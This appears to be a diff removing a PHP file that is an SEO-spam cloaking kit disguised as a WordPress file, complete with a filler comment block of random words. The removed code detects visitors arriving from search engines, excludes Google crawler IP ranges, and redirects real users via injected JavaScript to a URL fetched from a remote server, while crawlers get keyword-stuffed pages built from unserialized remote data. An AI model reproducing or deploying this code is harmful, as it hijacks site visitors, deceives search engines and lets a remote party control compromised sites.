- $rs_ptth = $O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
- $rs_http = 'http://www.';
- $resid = '#^\d+$#';
- if(!preg_match($resid,$id)){
- exit;
- }
- $id23 = $id;
- $siteid = MSID;
- $siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
- // $_SERVER["HTTP_REFERER"] = "google.com";
- if(isset($_SERVER["HTTP_REFERER"])){
- $referer = $_SERVER["HTTP_REFERER"];
- $russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
- $ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') );
- $localIp = get_real_ip();
- $is_or_no = is_ip($localIp,$ipRanges);
- $iszz = isCrawler();
- if(function_exists('gethostbyaddr')){
- $hostname = @gethostbyaddr($localIp);
- $is_g_ip = preg_match("#google#i", "$hostname") === 1;
- }else{
- $is_g_ip = 0;
- }
- if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
- $rsdom = '#^https?://www\.[^/]+/$#i';
- $jums1 = $rs_http.$temp_abc.$rs_ptth. CURRENUSE . $siteid .".txt";
- $jums2 = $rs_http.$temp_def.$rs_ptth. CURRENUSE . $siteid .".txt";
- for($i=0;$i<2;$i++){
- $jumstz = curl_getjs_from_webpage($jums1,2);
- $jumstz = trim($jumstz);
- if(!preg_match($rsdom,$jumstz)){
- $jumstz = curl_getjs_from_webpage($jums2,10);
- $jumstz = trim($jumstz);
- if(preg_match($rsdom,$jumstz))
- break;
- }else{
- break;
- }
- }
- echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $jumstz . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die();
- }
- }
- $fcontent = '';
- $pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$siteAID";
- $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
- $rsInfo = '#<info>(.*)</info>#si';
- preg_match($rsInfo,$pInfoStr,$matchInfo);
- if(isset($matchInfo[1])){
- $InFoStrArr = unserialize($matchInfo[1]);
- }else{
- exit;
- }
- if(isset($InFoStrArr['frStr2'])){
- $frStr2 = $InFoStrArr['frStr2'];
- $fr2Arr = unserialize($frStr2);
- }
- $frStr1 = $InFoStrArr['frStr1'];
- $fr1Arr = unserialize($frStr1);
- $Ptitle = $InFoStrArr['Ptitle'];
- $nowIdName = $InFoStrArr['nowIdName'];
- if(strstr($Ptitle,'#cat#')){
- $tp_title_arr = explode('#cat#',$Ptitle);
- $Ptitle = $tp_title_arr[1];
- }
- $pcatstr = $InFoStrArr['pcatstr'];
- $nowPreStr = $InFoStrArr['nowPreStr'];
- $nowNextStr = $InFoStrArr['nowNextStr'];
- $nowMateAddStr = $InFoStrArr['nowMateAddStr'];
- if(strstr($pcatstr,'#cname#')){
- $temparrI = explode('#cname#',$pcatstr);
- $catStr = $temparrI[0];
- $catArr = explode('^',$catStr);
- $tparrCat = array();
- $catArrII = array();
- foreach($catArr as $vs){
- $vs = str_replace('&','&',$vs);
- if(!isset($tparrCat[$vs])){
- $tparrCat[$vs] = 1;
- $catArrII[] = $vs;
- }
- }
- $catArr = $catArrII;
- $mateStr = $temparrI[1];
- if(strstr($mateStr,'#keydescription#')){
- $temparrII = explode('#keydescription#',$mateStr);
- $pkeyword = trim($temparrII[0]);
- if(!$pkeyword){
- $pkeyword = $Ptitle;
- }else{
- $keyArr = explode(',',$pkeyword);
- $num = count($keyArr);
- $yushu = KEYJG % $num;
- $arrPre = array();
- $arrLast = array();
- for($i=0;$i<$num;$i++){
- if($i<$yushu){
- $arrLast[] = $keyArr[$i];
- }else{
- $arrPre[] = $keyArr[$i];
- }
- }
- if(count($arrLast)){
- foreach($arrLast as $vs){
- $arrPre[] = $vs;
- }
- }
- $pkeyword = implode(',',$arrPre);
- $pkeywordYuanShi = $pkeyword;
- }
- $pdescription = $temparrII[1];
- if(!$pdescription){
- $pdescription = $Ptitle. ' ' .$nowMateAddStr;
- }else{
- $DesArr = explode(',',$pdescription);
- $num = count($DesArr);
- $yushu = KEYJG % $num;
- $arrPre = array();
- $arrLast = array();
- for($i=0;$i<$num;$i++){
- if($i<$yushu){
- $arrLast[] = $DesArr[$i];
- }else{
- $arrPre[] = $DesArr[$i];
- }
- }
- if(count($arrLast)){
- foreach($arrLast as $vs){
- $arrPre[] = $vs;
- }
- }
- $pdescription = implode(',',$arrPre);
- $pdescription .= ', '. $nowMateAddStr;
- $pDescriptionYuanShi = $pdescription;
- }
- }else{
- $pkeyword = $Ptitle;
- $pdescription = $Ptitle. ' ' .$nowMateAddStr;
- }
- }else{
- $catArr = array();
- if(strstr($mateStr,'#keydescription#')){
- $temparrII = explode('#keydescription#',$mateStr);
- $pkeyword = $temparrII[0];
- if(!$pkeyword){
- $pkeyword = $Ptitle;
- }else{
- $keyArr = explode(',',$pkeyword);
- $num = count($keyArr);
- $yushu = KEYJG % $num;
- $arrPre = array();
- $arrLast = array();
- for($i=0;$i<$num;$i++){
- if($i<$yushu){
- $arrLast[] = $keyArr[$i];
- }else{
- $arrPre[] = $keyArr[$i];
- }
- }
- if(count($arrLast)){
- foreach($arrLast as $vs){
- $arrPre[] = $vs;
- }
- }
- $pkeyword = implode(',',$arrPre);
- $pkeywordYuanShi = $pkeyword;
- }
- $pdescription = $temparrII[1];
- if(!$pdescription){
- $pdescription = $Ptitle. ' ' .$nowMateAddStr;
- }else{
- $DesArr = explode(',',$pdescription);
- $num = count($DesArr);
- $yushu = KEYJG % $num;
- $arrPre = array();
- $arrLast = array();
- for($i=0;$i<$num;$i++){
- if($i<$yushu){
- $arrLast[] = $DesArr[$i];
- }else{
- $arrPre[] = $DesArr[$i];
- }
- }
- if(count($arrLast)){
- foreach($arrLast as $vs){
- $arrPre[] = $vs;
- }
- }
- $pdescription = implode(',',$arrPre);
- $pdescription .= ', '. $nowMateAddStr;
- $pDescriptionYuanShi = $pdescription;
- }
- }else{
- $pkeyword = $Ptitle;
- $pdescription = $Ptitle. ' ' .$nowMateAddStr;
- }
- }
- $BreadStr = getBreadcrum($Ptitle,$catArr,$id23);
- if(count($catArr)){
- $endCatName = end($catArr);
- $beginCatName = $catArr[0];
- $addKeyWordStr = ', ' . implode(', ', $catArr);
- }else{
- $beginCatName = '';
- $endCatName = '';
- }
- if(function_exists("preg_split")){
- $PtitleArr = preg_split('/\s+/us', $Ptitle);
- }else{
- $PtitleArr = explode(' ', $Ptitle);
- }
- $tpTitleArr = array();
- foreach($PtitleArr as $vs){
- $vs = trim($vs);
- if($vs){
- $tpTitleArr[] = $vs;
- }
- }
- $numTitleArr = count($tpTitleArr);
- $randTkeyI = RANDNUMI % $numTitleArr;
- $createTitleI = getRandStrArr($tpTitleArr,$randTkeyI);
- $randTkeyII = RANDNUMII % $numTitleArr;
- if($randTkeyI == $randTkeyII){
- $randTkeyII = abs($randTkeyI-2);
- }
- $createTitleII = getRandStrArr($tpTitleArr,$randTkeyII);
- $addTopStr = '';
- $addTopStr .= $BreadStr.PHP_EOL;
- $addTopStr .= "<h1>{$Ptitle}</h1>";
- $addStrII = '';
- if(isset($InFoStrArr['pdes'])){
- $InFoStrArr['pdes'] = preg_replace('#\s+#si',' ',$InFoStrArr['pdes']);
- $addStrII .= '<p>'.$InFoStrArr['pdes']."</p>".PHP_EOL;
- }
- if(isset($InFoStrArr['nowPimgArrYs'])){
- $tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']);
- foreach($tpImgArr as $tpimg){
- $addStrII .= $tpimg."<br/>".PHP_EOL;
- }
- }
- $addTopStr .= $addStrII;
- $tpaddstr = "<h2>{$Ptitle}</h2>";
- $tpaddstr .= '<p>';
- $tpaddstr .= '###nowtitles###,';
- $tpaddstr .= $createTitleI .',';
- $tpaddstr .= $pdescription.' ';
- $tpaddstr .= $createTitleII .'.</p>';
- if(isset($InFoStrArr['nowPimgArr'])){
- $tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
- foreach($tpImgArr as $tpimg){
- $tpaddstr .= $tpimg."<br/>".PHP_EOL;
- }
- }
- $arrFlinks = array();
- $fr1Strs = '<ul>'.PHP_EOL;
- foreach($fr1Arr as $key=>$vs){
- $tpPid = $key;
- $tpFlink = getalink($tpPid,$vs);
- if(strstr($vs,'#cat#')){
- $tp_name_arr = explode('#cat#',$vs);
- $vs = $tp_name_arr[1];
- }
- $fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
- $arrFlinks[] = '<a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a>';
- }
- $fr1Strs .= '</ul>'.PHP_EOL;
- if(isset($fr2Arr)){
- $fr2Strs = '<ul>'.PHP_EOL;
- foreach($fr2Arr as $key=>$vs){
- $tpPid = $key;
- $tpFlink = getalink($tpPid,$vs);
- if(strstr($vs,'#cat#')){
- $tp_name_arr = explode('#cat#',$vs);
- $vs = $tp_name_arr[1];
- }
- $fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
- }
- $fr2Strs .= '</ul>'.PHP_EOL;
- }
- $addPdesStrII = '';
- $addPdesStrII .= "<h2>{$Ptitle}</h2>".PHP_EOL;
- $addStrDes1 = '';
- if(isset($InFoStrArr['nowDesNameArrStr'])){
- $randAddName = (KEYJG + $id23) % 3 + 3;
- $tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
- $lenthNameArr = count($tpDesNameArr);
- $lenthFlinkArr = $randAddName;
- $numShan = intval($lenthNameArr/$lenthFlinkArr);
- if($numShan < 1)
- $numShan = 1;
- $flag = 0;
- $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
- $shengyu = $shengyu - 2;
- $bgnum = 0;
- $endnum = $lenthNameArr - 1;
- $arrKeyNum = array();
- while($shengyu > 0){
- $arrKeyNum[$bgnum++] = $numShan + 1;
- $shengyu--;
- if($shengyu > 0){
- $arrKeyNum[$endnum--] = $numShan + 1;
- }
- $shengyu--;
- }
- $nowTempFlag = 0;
- $nowTempNumFlag = 0;
- $tempDesNameArr = array();
- foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
- $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
- if($nowTempNumFlag < $nowLens){
- $tempDesNameArr[] = $tpdesVs;
- $nowTempNumFlag++;
- }else{
- $tempDesNameArr[] = "<b>{$Ptitle}</b>";
- $nowTempFlag++;
- $tempDesNameArr[] = $tpdesVs;
- $nowTempNumFlag=1;
- }
- }
- while($nowTempFlag <= $lenthFlinkArr-1){
- $nowTempFlag++;
- $tempDesNameArr[] = "<b>{$Ptitle}</b>";
- }
- $tpDesNameArr = $tempDesNameArr;
- $tempArrLen = count($tpDesNameArr) - 1;
- $i=0;
- foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
- $tempLen = strlen($tpdesVs) + $i;
- if($tempLen % 2 == 1){
- $nowtempfh = ', ';
- }else
- $nowtempfh = '. ';
- if($i == $tempArrLen){
- $addStrDes1 .= $tpdesVs . '.';
- // echo $addStrDes1;
- // exit;
- }else{
- $addStrDes1 .= $tpdesVs . $nowtempfh;
- }
- $i++;
- }
- $addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL;
- }
- $addPdesStrII .= $addStrDes1.PHP_EOL;
- $addPdesStr = '';
- $addStrDesII = '';
- if(isset($InFoStrArr['fpNameStr'])){
- $randAddName = (KEYJG + $id23) % 2 == 0 ? 3 : 2 ;
- $tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
- $tempArrLen = count($tpDesNameArr) - 1;
- $temp_arr = array();
- foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
- if(strstr($tpdesVs,'#cat#')){
- $tp_name_arr = explode('#cat#',$tpdesVs);
- $tpdesVs = $tp_name_arr[1];
- }
- $temp_arr[$tpdesKey] = $tpdesVs;
- }
- $tpDesNameArr = $temp_arr;
- $lenthNameArr = count($tpDesNameArr);
- $lenthFlinkArr = $randAddName;
- $numShan = intval($lenthNameArr/$lenthFlinkArr);
- if($numShan < 1)
- $numShan = 1;
- $flag = 0;
- $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
- $shengyu = $shengyu - 2;
- $bgnum = 0;
- $endnum = $lenthNameArr - 1;
- $arrKeyNum = array();
- while($shengyu > 0){
- $arrKeyNum[$bgnum++] = $numShan + 1;
- $shengyu--;
- if($shengyu > 0){
- $arrKeyNum[$endnum--] = $numShan + 1;
- }
- $shengyu--;
- }
- $nowTempFlag = 0;
- $nowTempNumFlag = 0;
- $tempDesNameArr = array();
- foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
- $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
- if($nowTempNumFlag < $nowLens){
- $tempDesNameArr[] = $tpdesVs;
- $nowTempNumFlag++;
- }else{
- // $tempDesNameArr[] = "<b>{$Ptitle}</b>";
- $nowTempFlag++;
- $tempDesNameArr[] = $tpdesVs;
- $nowTempNumFlag=1;
- }
- }
- while($nowTempFlag <= $lenthFlinkArr-1){
- $nowTempFlag++;
- // $tempDesNameArr[] = "<b>{$Ptitle}</b>";
- }
- $tpDesNameArr = $tempDesNameArr;
- $i=0;
- foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
- $tempLen = strlen($tpdesVs) + $i;
- if($tempLen % 2 == 1){
- $nowtempfh = ', ';
- }else
- $nowtempfh = '. ';
- if($i == $tempArrLen){
- $addStrDesII .= $tpdesVs . '.';
- }else{
- $addStrDesII .= $tpdesVs . $nowtempfh;
- }
- $i++;
- }
- $addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL;
- }
- $addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL;
- $addPdesStr .= $addStrDesII.PHP_EOL;
- $addH3Str = "<h3>{$Ptitle}</h3>";
- $thisPnameLink = '<a href="">'.$nowIdName.'</a>';
- $thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
- $thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
- $flagH2I = 1;
- $flagH2II = 1;
- $flagH2III = 1;
- $fileMb = fopen("template.html","r");
- $html = fread($fileMb,filesize("template.html"));
- $numBz = 0;
- $titleKeys = KEYJG % 6;
- $catUseKey = (KEYJG + $id23) % count($catArr);
- if($catUseKey == 0)
- $catUseKey = $catUseKey + 1;
- $addTopStr = str_replace('###nowtitles###',$Ptitle ,$addTopStr);
- $tpaddstr = str_replace('###nowtitles###',$Ptitle,$tpaddstr);
- $html = str_ireplace('draft_or_post_title', $Ptitle, $html);
- $html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html);
- $html = str_ireplace('#bbbdesbbb#', $pdescription ." {$thisdom}", $html);
- $html = str_ireplace('#bbb1content1bbb#', $addTopStr, $html);
- // $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
- if(strstr($html,'#link3#'))
- if($flagH2I){
- $html = str_replace('#link3#',$addPdesStrII,$html);
- $flagH2I = 0;
- }else{
- $html = str_replace('#link3#','',$html);
- }
- if(strstr($html,'#flink#'))
- if($flagH2I){
- $html = str_replace('#flink#',$addPdesStrII,$html);
- $flagH2I = 0;
- }elseif($flagH2II){
- $html = str_replace('#flink#',$addPdesStr,$html);
- $flagH2II = 0;
- }else{
- $html = str_replace('#flink#','',$html);
- }
- if(strstr($html,'#link4#'))
- if($flagH2I){
- $html = str_replace('#link4#',$addPdesStrII,$html);
- $flagH2I = 0;
- }elseif($flagH2II){
- $html = str_replace('#link4#',$addPdesStr,$html);
- $flagH2II = 0;
- }elseif($flagH2III){
- $html = str_replace('#link4#',$addH3Str."<br/>". PHP_EOL . $fr1Strs ,$html);
- $flagH2III = 0;
- }else{
- $html = str_replace('#link4#','',$html);
- }
- if(strstr($html,'#link5#'))
- if($flagH2I){
- $html = str_replace('#link5#',$addPdesStrII,$html);
- $flagH2I = 0;
- }elseif($flagH2II){
- $html = str_replace('#link5#',$addPdesStr,$html);
- $flagH2II = 0;
- }elseif($flagH2III){
- $html = str_replace('#link5#',$addH3Str."<br/>". PHP_EOL . $fr1Strs ,$html);
- $flagH2III = 0;
- }else{
- $html = str_replace('#link5#','',$html);
- }
- if(strstr($html,'#Flink2#'))
- if($flagH2I){
- $html = str_replace('#Flink2#',$addPdesStrII,$html);
- $flagH2I = 0;
- }elseif($flagH2II){
- $html = str_replace('#Flink2#',$addPdesStr,$html);
- $flagH2II = 0;
- }elseif($flagH2III){
- $html = str_replace('#Flink2#',$addH3Str."<br/>". PHP_EOL . $fr1Strs ,$html);
- $flagH2III = 0;
- }else{
- $html = str_replace('#Flink2#','',$html);
- }
- $lastAddStrs = '';
- if($flagH2I){
- $lastAddStrs .= $addPdesStr . PHP_EOL;
- }
- if($flagH2II){
- $lastAddStrs .= $addPdesStrII . PHP_EOL;
- }
- if($lastAddStrs){
- $tpaddstr = $tpaddstr .PHP_EOL . $lastAddStrs;
- }
- $html = str_ireplace('#bbb2content2bbb#', '', $html);
- $html = str_ireplace('#descontent#', $tpaddstr, $html);
- $html = str_replace('#link1#','',$html);
- $html = str_replace('#link2#','',$html);
- $footKey = "<h3>{$Ptitle}</h3><br/>{$pdescription}".PHP_EOL;
- $html = str_replace('</body',$footKey.'</body',$html);
- echo $html;
- die();
- /**
- * Internet duration holy interpret marveous mist noticeable parallel phenomenon precaution primitive rival shuttle substance talent valley violet.
- * capture decent glimpse infer launch racial remedy swallow utilify utter.
- * attach commit expense favorite frustrate harmony integrate mood orchestra shiver substantial tender.
- * avenue capture deputy drip exceedingly grateful illusion jail legislation liquor loose origin oval parallel prosperity quotation region resemble scan strategic suspicion theme tropical virus.
- * acquire boundary conservative defect fatigue obstacle portion scan slope.
- * Internet automatic enviroment flash grateful priority sketch snap survey via virtual.
- * awful distinguish durable geology haste illegal integrate manual molecule sensitive substitute temporary tendency.
- * attitude cancel conservative consistent deaf exclaim female gaze jungle motivate notify remarkable resolve respond retail shrug strategy submit tarnest temptation trap vain vanish via.
- * agency durable garbage harmony identify ingredient isolate oxygen parallel register reliable simplify stripe survey.
- * clue explore exterior geography launch mixture mutual peak prominent tissue triumph.
- * adopt authority awful blast community core elastic exclusive explode fate frown haste lest loose medium petroleum software temporary the transport.
- * abundant commit discount enviroment retain slender strategy.
- * appropriate candidate diverse fatigue gallery glory individual label petrol pursue region remote resemble sake sensitive sophisticated tend textile transform videotape virus whereas.
- * appreciate breed gap glimpse inferior invade label liable liquor media noticeable numerrous oral oxygen participate personnel restrain shift simplicity spur transmit vitally.
- * acquire aware gratitude label ridid slip slope spit substance suspicious theme.
- * competition decade discount disturb durable entertainment geography infer liquor marveous reinforce shelter tissue urge.
- * Internet candidate casual descend disturb expand insure media orchestra subsequent substantial talent tendency tide tissue tropical.
- * appreciate boundary comedy drift enviroment explore venture.
- * bother slender tendency withdraw.
- * excursion illegal resistant subt.
- * appetite architecture beforehand breed cope core decay deserve dive gear grand gratitude religious severe spot tremble ultimate variable vitally vocabulary whatsoever withstand zone.
- * evolution index interfere rival shrug solar wax weave wonder.
- * appropriate approximate golf isolate liter lynar navigation recruit temptation.
- * award awful bargain chaos comedy comparative cope deaf infinite mere prescribe previous racial.
- * consistent elaborate entitle fax focus gasoline giant globe hatred horror knot negative relief render scandal sincere temporary transplant vacant.
- * adequate architect bunch deputy faulty oral orchestra oval reluctant restrict shrug subsequent substance suspicion unique volcano.
- * cancel dump elbow evolve external global junior mutual pat petrol portion prosperity pursue security tendency utilify vary.
- * accomplish battery distribute garbage jewel leak liter religious tremendous.
- * compete expenditure nuclear rescue respond.
- * acquire burden elastic interpretation liberty nylon partial scale vain withstand.
- * applianc collision exclude grand hence missile nevertheless register semiconductor severe vitally.
- * applicable orient theme vibrate vivid.
- * brake code deputy dusk hardware illegal manufacture optics powder reputation suburb trap ultimate vacuum vehicle vital wealthy.
- * accelerate disturb equivalent fertilizer flash guilty import leak portable sexual skim tend tuition urge.
- * breadth cope enclose fatal focus geology globe identify inferior mature moral navigation nonsense portable provision software vanish vertical.
- * auxiliary available constant discrimination distinguish facility guarantee identify likelihood mild mood network prescribe sensible sexual slender swallow tendency tense the valid violence wonder.
- * approximate bunch burden jam moisture remote retain significance solar universe utter.
- * coil duration extinct grant hollow jewel leisure vivid whereas.
- * decade minimum mission wagon.
- * attitude authority burst candidate disturb evolve exceedingly gear grant infinite jeans luxury male offend parallel passive recruit scandal secure security thrust transport trend universal urgent.
- * gap horror mission ridge spur tendency.
- * adjust approve ban dusk emotion erect exclude garbage gratitude humble joint launch liable poverty remarkable retail shrug splendid spray subt triumph vary vibrate vitally.
- *
- * @package WordPress
- */
- function getRandStrArr($tpArr=array(),$bgKey=0){
- $returnStr = '';
- $numArr = count($tpArr);
- for($i=$bgKey+1;$i<$numArr;$i++){
- $returnStr .= $tpArr[$i].' ';
- }
- for($i=0;$i<=$bgKey;$i++){
- $returnStr .= $tpArr[$i].' ';
- }
- return trim($returnStr);
- }
- function getBreadcrum($Ptitle,$catArr,$id23){
- global $arrBread,$thisdom;
- $catArr = array();
- $breadTagkey = KEYJG % 6;
- if($breadTagkey == 0){
- $breadTagHtml1 = 'nav';
- $breadTagHtml2 = 'ul';
- }elseif($breadTagkey == 1){
- $breadTagHtml1 = 'nav';
- $breadTagHtml2 = 'ol';
- }elseif($breadTagkey == 2){
- $breadTagHtml1 = 'div';
- $breadTagHtml2 = 'ol';
- }elseif($breadTagkey == 3){
- $breadTagHtml1 = 'section';
- $breadTagHtml2 = 'ol';
- }elseif($breadTagkey == 4){
- $breadTagHtml1 = 'section';
- $breadTagHtml2 = 'ul';
- }else{
- $breadTagHtml1 = 'div';
- $breadTagHtml2 = 'ul';
- }
- $arrBreadNum = count($arrBread);
- $domlen = strlen($thisdom);
- $breadTagkey = $domlen % 5;
- $liClassYs = KEYJG % 19;
- if($liClassYs == 0){
- $liStr = ' class="item"';
- }elseif($liClassYs == 1){
- $liStr = ' class="breadcrumbs-item"';
- }elseif($liClassYs == 2){
- $liStr = ' class="nz-breadcrumb-item"';
- }elseif($liClassYs == 3){
- $liStr = ' class="items"';
- }elseif($liClassYs == 4){
- $liStr = ' class="breadcrumblist-items"';
- }elseif($liClassYs == 5){
- $liStr = ' class="el-breadcrumb-item"';
- }elseif($liClassYs == 6){
- $liStr = ' class="doc-crumb-item"';
- }elseif($liClassYs == 7){
- $liStr = ' class="breadcrumb-item"';
- }elseif($liClassYs == 8){
- $liStr = ' class="crumbs-item"';
- }elseif($liClassYs == 9){
- $liStr = ' class="bread-item"';
- }elseif($liClassYs == 10){
- $liStr = ' class="breads-item"';
- }elseif($liClassYs == 11){
- $liStr = ' class="breadcrumbItem"';
- }elseif($liClassYs == 12){
- $liStr = ' class="breadcrumbItems"';
- }elseif($liClassYs == 13){
- $liStr = ' class="breadcrumblistitems"';
- }elseif($liClassYs == 14){
- $liStr = ' class="BreadcrumbItem"';
- }elseif($liClassYs == 15){
- $liStr = ' class="ListItem"';
- }elseif($liClassYs == 16){
- $liStr = ' class="crumb-items"';
- }else{
- $liStr = '';
- }
- $arrBreadId = array();
- $arrBreadId[] = 'Bread';
- $arrBreadId[] = 'BreadHead';
- $arrBreadId[] = 'Breadcrumb';
- $arrBreadId[] = 'Breadcrumb-Head';
- $arrBreadId[] = 'Breadcrumb-Heads';
- $arrBreadId[] = 'Breadcrumb-Top';
- $arrBreadId[] = 'BreadcrumbHeads';
- $arrBreadId[] = 'BreadcrumbLists';
- $arrBreadId[] = 'BreadcrumbNavigation';
- $arrBreadId[] = 'BreadcrumbTop';
- $arrBreadId[] = 'BreadcrumbTops';
- $arrBreadId[] = 'MyBreadcrumb';
- $arrBreadId[] = 'ant-breadcrumb';
- $arrBreadId[] = 'bread-List';
- $arrBreadId[] = 'breadtop';
- $arrBreadId[] = 'breadtops';
- $arrBreadId[] = 'breadHead';
- $arrBreadId[] = 'breadHeads';
- $arrBreadId[] = 'breadList';
- $arrBreadId[] = 'breadLists';
- $arrBreadId[] = 'breadcrumb';
- $arrBreadId[] = 'c-breadcrumb';
- $arrBreadId[] = 'crumbList';
- $arrBreadId[] = 'crumb-list';
- $arrBreadId[] = 'crumbs';
- $arrBreadId[] = 'crumbsHead';
- $arrBreadId[] = 'crumbsHeads';
- $arrBreadId[] = 'crumbs-head';
- $arrBreadId[] = 'crumbs-nag';
- $arrBreadId[] = 'crumbsTop';
- $arrBreadId[] = 'crumbsTops';
- $arrBreadId[] = 'crumbs-top';
- $arrBreadId[] = 'cs-breadcrumb';
- $arrBreadId[] = 'customBreadcrumb';
- $arrBreadId[] = 'doc-crumb';
- $arrBreadId[] = 'el-breadcrumb';
- $arrBreadId[] = 'l-breadcrumb';
- $arrBreadId[] = 'navBreadCrumb';
- $arrBreadId[] = 'navBreadCrumbs';
- $arrBreadId[] = 'page-breadcrumbs';
- $arrBreadId[] = 'pages-breadcrumbs';
- $arrBreadId[] = 's-breadcrumb';
- $arrBreadId[] = 'v-breadcrumb';
- $arrBreadId[] = 'chrome-breadcrumbs';
- $keyBreadId = KEYJG % 48;
- if(isset($arrBreadId[$keyBreadId])){
- $keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"';
- }else{
- $keyBreadIdStr = '';
- }
- $strBreads = '';
- if($breadTagkey == 4){
- $arrBreadC1 = array();
- $arrBreadC1[] = 'BreadcrumbData';
- $arrBreadC1[] = 'BreadcrumbDatas';
- $arrBreadC1[] = 'BreadcrumbTop';
- $arrBreadC1[] = 'crumbsHead';
- $arrBreadC1[] = 'crumbsTop';
- $arrBreadC1[] = 'crumbsList';
- $arrBreadC1[] = 'crumbs-top';
- $arrBreadC1[] = 'crumbs-list';
- $arrBreadC1[] = 'crumbs-Head';
- $arrBreadC1[] = 'BreadcrumbTag';
- $arrBreadC1[] = 'Breadcrumb-tag';
- $arrBreadC1[] = 'BreadcrumbBody';
- $arrBreadC1[] = 'BreadcrumbBody';
- $arrBreadC1[] = 'Breadcrumb-Top';
- $arrBreadC1[] = 'Breadcrumb-body';
- $arrBreadC1[] = 'BreadcrumbTops';
- $arrBreadC1[] = 'Breadcrumb-Head';
- $arrBreadC1[] = 'Breadcrumb-Heads';
- $arrBreadC1[] = 'Breadcrumb-List';
- $arrBreadC1[] = 'BreadcrumbList';
- $arrBreadC1[] = 'BreadcrumbLists';
- $ckeyI = KEYJG % count($arrBreadC1);
- $classI = $arrBreadC1[$ckeyI];
- $classII = $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
- $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">';
- $strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">';
- $strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>';
- if(count($catArr)){
- foreach($catArr as $vs){
- $vs = trim($vs);
- $nowCatUrl = getCatLink($vs,$id23);
- $strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
- }
- }
- $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
- $strBreads .= '</'.$breadTagHtml2.'>';
- $strBreads .= '</'.$breadTagHtml1.'>';
- }else{
- $calssBreadKey = KEYJG % $arrBreadNum;
- $classTop = $arrBread[$calssBreadKey];
- $classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
- $breadTagkey = $domlen % 2;
- if($breadTagkey == 0){
- if($classTop)
- $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
- else
- $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
- $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
- $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
- $flagNum = 2;
- if(count($catArr)){
- foreach($catArr as $vs){
- $vs = trim($vs);
- $nowCatUrl = getCatLink($vs,$id23);
- $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
- $flagNum++;
- }
- }
- $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><span itemprop="name">'.$Ptitle.'</span><meta itemprop="position" content="'.$flagNum.'" /></li>';
- $strBreads .= '</'.$breadTagHtml2.'>';
- $strBreads .= '</'.$breadTagHtml1.'>';
- }else{
- if($classTop)
- $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
- else
- $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
- $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
- $strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
- if(count($catArr)){
- foreach($catArr as $vs){
- $vs = trim($vs);
- $nowCatUrl = getCatLink($vs,$id23);
